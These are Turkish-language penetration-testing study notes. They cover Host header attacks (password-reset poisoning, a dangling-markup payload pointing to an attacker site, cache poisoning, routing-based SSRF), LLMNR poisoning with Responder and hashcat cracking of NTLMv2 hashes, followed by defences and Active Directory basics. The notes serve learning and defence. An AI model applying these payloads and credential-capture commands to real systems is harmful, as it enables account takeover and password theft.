  6. Host header yerine localhost veya local ip’lerden birisini veya sitenin ip’sini girmeyi de deneyebiliriz. Bu da erişilemeyecek kısımlara erişmemizi sağlayabilir.
  7. Son yöntem de X-Forwarded-Host , X-Forwarded-Server, X-HTTP-Host-Override ve Forwarded Headerlerını set ederek Host headerını override etmeyi deneyebiliriz.
  8. Bu saldırıların çalışması için host header’ının bir yerde kullanılıyor ve yansıtılıyor olması gerekir. Örnek olarak password sıfırlamada bu header kullanılabilir veya mail atarken kullanılabilir veya cachelenen bir veride kullanılabilir.

Bu saldırı header kısmındaki Host headerını kullanarak yapılır. Bir ip adresinde, bir sunucuda birden fazla site barındığı için bu host hedaerları kullanılabilir. Sunucu bu header yardımıyla veya load balancer bu header yardımıyle yönlendirmeler yapabilir. Bu yüzden bu header’dan zaafiyetler çıkabilir karşımıza.

  1. Host headerını değiştirip sitenin nasıl davrandığına bakabiliriz. Bazen sistemler bu alanda bozulma olduğunda ne yapacağını bilemediği için bir varsayılan veya fallback adresine yönlendirir. Bazen de Invalid Host Header hatası gelir.
  2. Bazı SSRF teknikleri, eksik kontrol sebebiyle uygulanabilir olur. Örnek olarak port kısmından payload gönderebilir ⇒ vuln-site.com:bad-stuf-here veya aynı domaini içeren başka bir domainle host değiştirilebilir ⇒ notvuln-site.com veya daha güvensiz bir subdomain ile bu kısım atlatılabilir ⇒ hacked.vuln-site.com
  3. Belirsiz Host hedaerları gönderilebilir.
  • X-Host
  • X-Forwarded-Server
  • X-HTTP-Host-Override
  • Forwarded

Öncelikle Host Header saldırılarını mümkün kılan headerdan bahsedelim. IPV4 sayısının kısıtlı olmasından dolayı artık bir makinede birden fazla web uygulaması barınabiliyor. Bu yüzden load balancer’lar reverse proxy’ler vs bu headerı kullanarak ayırt edebiliyor.

Bu headerı kullanarak password reset saldırıları, SSRF saldırıları ve XSS’den SQL injection’a kadar birçok soruna sebep olabilir.

Saldırılarda kullanılan temel yöntemler :

  1. Host headerı doğrudan değiştirmek
  2. Host hedaerın altına bir tane daha host yazıp tepkisini görmek
    1. Bunu denerken ilk headerın başına boşluk koymak da denenebilir.
  3. Host headerın adresin sonuna port eklemek :port şeklinde istediğimizi yazıp yazamadığımıza bakabiliriz.
  4. X-Forwarded-Host gibi headerlarla override etmek
  5. GET /admin HTTP/1.1 adresindeki “/” kısmını tam URL ile değiştirdiğimizde bazı sunucular Host kısmını kontrol etmez. Böylece oraya yazdığımız kısmı istediğimiz gibi değiştirip SSRF yaptırabiliriz.
  6. Host kısmına localhost veya networkün içindeki iplerden bir tanesini girmek 192.168.0.32 örneği gibi.

Saldırıların genel mantığı bu header’ın kullanılması esnasında yetersiz kontrol yapılmasından kaynaklanır.

Labların içerikleri :

  • Password reset using host : Password reset token gönderen yerde hostu değiştirip passwordu bizim adresimize göndermesini sağlayabiliriz. Örnek olarak hoste evilsite.com girdiğimizde tokeni evilsite.com/forgot-password?token=sakdh2131khkljh12g3jk şeklinde gönderebilir. Kullanıcı da bilmeden bu linke tıklarsa bizim sitemize böyle bir istek atmış olur ve biz de tokeni öğrenmiş oluruz.
  • Password reset using host and middleware : Password tokeni gönderen isteğin Host headerını X-Forwarded-For ile tekrar yazıp bir önceki labda uyguladığımız sistemi uyguladık. Başka bir kullanıcının kullanıcı adını girerek hostu değiştirip token elde etmiş olduk.
  • Password reset dangling html : Burada password reset yapmak istediğimizde bir token gelmediğini onun yerine mail olarak yeni passwordun geldiğini gördük. Ancak kullanılan antivirüs, mailin içindeki linklere otomatik tıklayıp zararlı olup olmadığını kontrol ediyordu. Bu yüzden biz de password reset işlemini yapan yerde yukarıdaki payload yöntemlerini denedik ancak yalnızca site.com:port değişikliğinde sunucunun sorun çıkartmadığını gördük. Bu durumda da port yerine ‘ ><a href=”//zararlisite.com/? şeklinde belirsiz html’i gömdük. Daha sonra da bunu kullanıcıya mail olarak attık. Kullanıcının antivirüsü hem linke otomatik olarak tıkladı ve şifre dahil bütün bilgiler bizim sitemize istek şeklinde gelmiş oldu.
  • Bu labda web cache poisoning amacıyla host headerini kullanıyoruz. Bir js kaynağını host headerından aldığını gördüğümüzde cachelenen değeri değiştirmek için host headerının altına tekrar bir host yazıp bunun değerini : evilsite.com şeklinde değiştirip arka arkaya istek gönderiyoruz.
  • Authentication Bypass with Host Header Attack : Bu labda da admin paneline girip bir kullanıcı silmemiz gerekiyordu. Host headerini değiştirip istek sanki admin panelinden gelmiş gibi gösteriyoruz. Böylece host değerinde admin panelden geldiğimizi gören sunucu admin olarak giriş yapmış olduğumuzu varsayıp hem paneli görmemize hem de kullanıcıyı silmemize izin veriyor.
  • Routing Based SSRF : Bu labda da admin paneline gitmek istediğimizde yalnızca içerideki kullanıcıların bu panele erişebileceği uyarısını alıyoruz. Bunu aşmak için Intruder kullanıyoruz. Intruderda host kısmını değiştirerek 192.168.0.0/24 bu range aramasını sağlıyoruz. Bir ip değerinde 200 döndüğünü görünce SSRF gerçekleşmiş oluyor ve böylece admin paneline içeriden bir ip ile erişmiş oluyoruz.
  • SSRF via flawed request parsing : Bu labda da Host headerını değiştirmek istediğimizde her sefer hata aldığımızı görüyoruz. Bu noktada da requestin metotdan sonraki kısmını değiştirmeyi deniyoruz. Bu kısmı tam olarak https://URL.com/ gibi tam url ile sonunda / olacak şekilde değiştiriyoruz. Böyle yaptığımızda host headerindeki değişikliklerin hata vermediğini gördük. Şimdi burası sabit dururken admin paneline erişmek için bir önceki SSRF mantığını deniyoruz ve attığımız istekte /admin ile tam url’yi giriyoruz ve bir ip değerinde 200 görüyoruz. Admin paneline erişmiş oluyoruz.

LLMNR Poisoning

  • Link Local Multicast Name Resolution : DNS hata verdiğinde hostları tanımak için kullanılan bir servistir
  • Eskiden NBT-NS ⇒ NETBIOS Name Server vardı.
  • Temel açıklık responde gönderildiğinde sistemin kullanıcı adı ve NTLMv2 Hash olarak şifrenin döndürülmesidir.
  • Saldırgan ortada bulunur. Man In The Middle olarak ağı dinler.
  • Hedef sunucuya yanlış bir isim için bağlantı gönderdiğinde sunucu bunu bilmediğini söyler.
  • Ortadaki saldırgan da kurbana ben sanki bir sunucuymuş gibi “Ben biliyorum kullanıcı adı ve şifre hash’ini bana yolla ben seni bağlayayım” der ve böylece kullanıcının bilgisini almış olur.
  • Bu amaçla responder aracını kullanıyoruz. Genel olarak ilk işimiz bu aracı çalıştırmak olur. Böylece gelecek trafikleri ve istekleri görme imkanımız olur.
  • Bu toolu kullanarak yapılacak saldırının adımları kabaca şöyledir :
    1. Responder çalıştırmak : python Responder.py -l tun0 -rdw
    2. Sonra bekleme aşamasında bir etkinlik gerçekleşir. Birisi yanlış bir isim girer, yanlış olmayan bir domaine bağlanmaya çalışır vs.
    3. Bu aşamada responder bize kullanıcı ip, kullanıcı adı ve kullanıcı password hash’ini döndürür.
    4. Son aşamada da hashcat aracını kullanarak bu hash’i çözmeye çalışıyoruz. Hash çözmeden de yapabileceğimiz saldırılar mevcut ancak rockyou gibi bir aracı kullanarak hash çözersek doğrudan parolayı elde etme ihtimalimiz de oluyor. Bu aracı kullanmak için de şu komutları çalıştırıyoruz : hashcat -m 5600 hashes.txt rockyou.txt burada verdiğimiz rockyou.txt parametresi yaygın kullanılan büyük bir wordlisttir.

Capturing NLTMv2 Hashes With Responder

  • Saldırıyı başlatmak için şunları yapıyoruz :
  1. responder -I eth0 -rdwv burada -I parametresi ile verdiğimiz kısım interfacedir. Yani trafiği dinleyip respond edeceğimiz ağ interface ismini giriyoruz. Diğer parametre için de detaylara —help yardımıyla bakabiliriz. Bu parametrenin sonundaki “v” harfi de verbose anlamına gelmekte. Bu paramtereyi vererek hash’i tekrar almamızı sağlıyoruz.
  2. Dinleme aşamasında eğer LLMNR hata alırsa netbios dinlemeye çalışır. Responder çalıştırdığımızda bunu aşağıdaki resimlerdeki gibi görebiliriz.
  3. Daha sonra kurban makineden dinleyen makineye SMB ile erişmek istediğimizde hash’lerin iki kere geldiğini görüyoruz.
  • Genel olarak artık bu saldırılar çok işe yaramıyor. Çünkü kullanıcılar daha bilinçli ve daha dikkatli davranıyor. Ama yine de bu hatalar az miktarda yaygın değil. Bu yüzden bu şekilde bir saldırı kolayca kullanıcıların bilgilerine erişmemizi sağlıyor.

Password Cracking With Hashcat

  • Hashcat, hash çözmek için kullanılan bir araçtır. Bu aracı kullananıp hash çözmek için :
    1. gedit ntlmhash.txt açıp buraya hash’i komple kopyalıyoruz.
    2. hashcat -m 5600 ntlm.txt wordlist : Hashcat aracı oldukça geniş kullanım alanına sahip bir araçtır. İçerisinde birçok farlı modül bulunur. Biz de bu modülleri hashcat —help komutu ile görebiliriz. Bu modüllerden bizim ihtiyacımız olan modül NTLMv2 modülüdür. Bu yüzden -m 5600 komutu ile bu modülü seçmiş oluyoruz. Buradaki son parametremiz olan wordlist de rockyou.txt olacak. Bu wordliste de /usr/share altından erişebiliriz. Bu listenin altında milyonlarca password hazır olarak bulunur ve bunları dener.
    3. Daha fazla wordlist için internette arama yapabiliriz ve şu linki kullanabiliriz : https://github.com/danielmiessler/SecLists
    4. Aracı çalıştırırken VM üzerinde çalışmıyorsak —force komutunu da ekleyebiliriz. Böylece tam güçle hash çözmeye çalışacaktır. Yani komutumuz hashcat -m 5600 ntlm.txt rockyou.txt şeklinde olacak.
    5. Son olarak -O parametresini eklemek te Optimize anlamına gelir ve biraz daha hızı vs optimize eder.

LLMNR Poisoning Defences

  • En temel yöntem LLMNR sistemini tamamen disable etmektir. Yalnızca bunun etkinliğini kaldırmak yetmez aynı zamanda NBT-NS de disable edilmelidir.
  • Çünkü bir DNS çözümlenemeyince önce LLMNR’ye sonra NBT-NS ‘ye gider bu yüzden ikisini de disable etmek gerekir.
  • Eğer bir işletme kesinlikle LLMNR kullanması gerekiyorsa o zaman NAC aktif edilmeli.
  • NAC üzerinden mac ve ip kontrol edilir ve bu MAC ve IP’nin networke ait olup olmadığı sorgulanarak öyle trafiğe ve isteğe izin verilir.
  • Bazı bypass durumları vardır NAC için ama genel olarak iyi bir koruma sağlayacaktır.
  • Son önlem de güçlü şifreler kullanmaktır.

Yapılacak ve Çalışılacaklar

  • LLMNR nasıl çalıştığını anlamak için videoyu izle

Active Directory Overview(New)

  • Bir telefon defteri gibi dizin sistemidir.
  • Bilgisayar, printer vs hepsi bu dizine kayıt olur.
  • Windows makineler kerberos ticketler ile auth olurken linux makineler, firewall’lar vs Radius veya LDAP ile authenticate olur.
  • Bir kullanıcı adı ve şifreyle farklı bilgisayarlardan cihazlardan bağlanmak mümkün olur.
  • Fortune 1000 şirketlerinin %95’i Active Directory kullanır.
  • Özellikler,trustlar, componentler vs kullanılarak bile hack edilebilir. Patch edilebilir bir exploiti olması şart değildir.

What are objects in active directory? Object is the basic element of Active Directory in Microsoft Windows Server family that represents something on the network, such as a user, a group, a computer, an application, a printer, or a shared folder.


Fiziksel AD Componentleri

Domain Controller

  • AD dizinin bir kopyasını tutan makinedir.
  • Giriş ve Kayıt servislerini sağlar
  • Diğer domain controller’ları günceller ve kendisine kopyalar
  • Admin kullanıcısına izin verir, politika ve kullanıcı eklenmesine izin verir. Network işlemlerini yürütür.
  • En önemli componenttir. Herşey burada tutulur.

AD DS Data Store

  • Kullanıcı bilgileri,servisler ve uygulamalar gibi bilgilerin tutulduğu db dosyalarından ve processlerinden oluşur.
  • Ntds.dit dosyasından oluşur. Pass The Hash vs bu dosyadan çıkan bilgilerden oluşur.
  • %SystemRoot%\NTDS yolunda bulunur. Yalnızda domain controller’larda bulunur ve yalnızda DC tarafından erişilebilir.

Lojik AD Componentleri

AD Schema

  • Rule book denebilir. Directory’de tutulabilecek tüm objelerin türlerini tanımlar.
  • Obje oluşturma ve configuration kurallarını barındırır.

Domain

  • Belli politikaların uygulandığı gruplara denir. Organizasyonlar içindeki objeleri gruplamak ve yönetmek için kullanılır.
  • Aynı zamanda domain controllerdan data kopyalamadaki sınırları da belirler ( hangi grup için hangi politikaların ve kuralların dc’den alınacağını belirleyen sınırlardır)
  • Kaynaklara erişim yetkisini belirleyen sınırlardır.

Tree

  • Bir parent domain olur ve child domainler olur. Bu domainler arasında otomatik olarak bir güven kurulur.

Forest

  • Birden fazla domain tree’nin bağlanmasıyla oluşan yapılardır.
  • Ortak bir schema, bir ayar grubu(configuration partition), bir global katalog ve search paylaşırlar
  • Güven ilişkileri oluşturulur.
  • Enterprise admin vs paylaşımı olur.

Organizational Units (OU)

  • Domain içindeki alt birimdir. Kullanıcılar,bilgisayarlar, rule’lar gibi objeleri barındırır.
  • Domain altında hiyerarşiyi temsil eder.
  • Objeler arasında izinleri ve adminleri belirler.
  • Kuralları uygular.

Trusts

  • Kullanıcıların kaynaklara erişiminin belirlendiği mekanizmadır.
  • Yönlü veya yönsüz olabilir.
  • Yönlü olduğunda trust olan yönün aksi yönünde erişim olur. Yani A objesi, B objesine güveniyorsa B objesi, A’nın kaynaklarına erişebilir.
  • Domainler arasında trust kurulur.
  • Forest içindeki bütün domainler otomatik olarak birbirlerine karşı transitive trust kurar.
  • Trust forest dışına da genişletilebilir.

Objects

  • User,InetOrgPerson, Contacts, Groups, Computers, Printers, Shared Folders olabilir.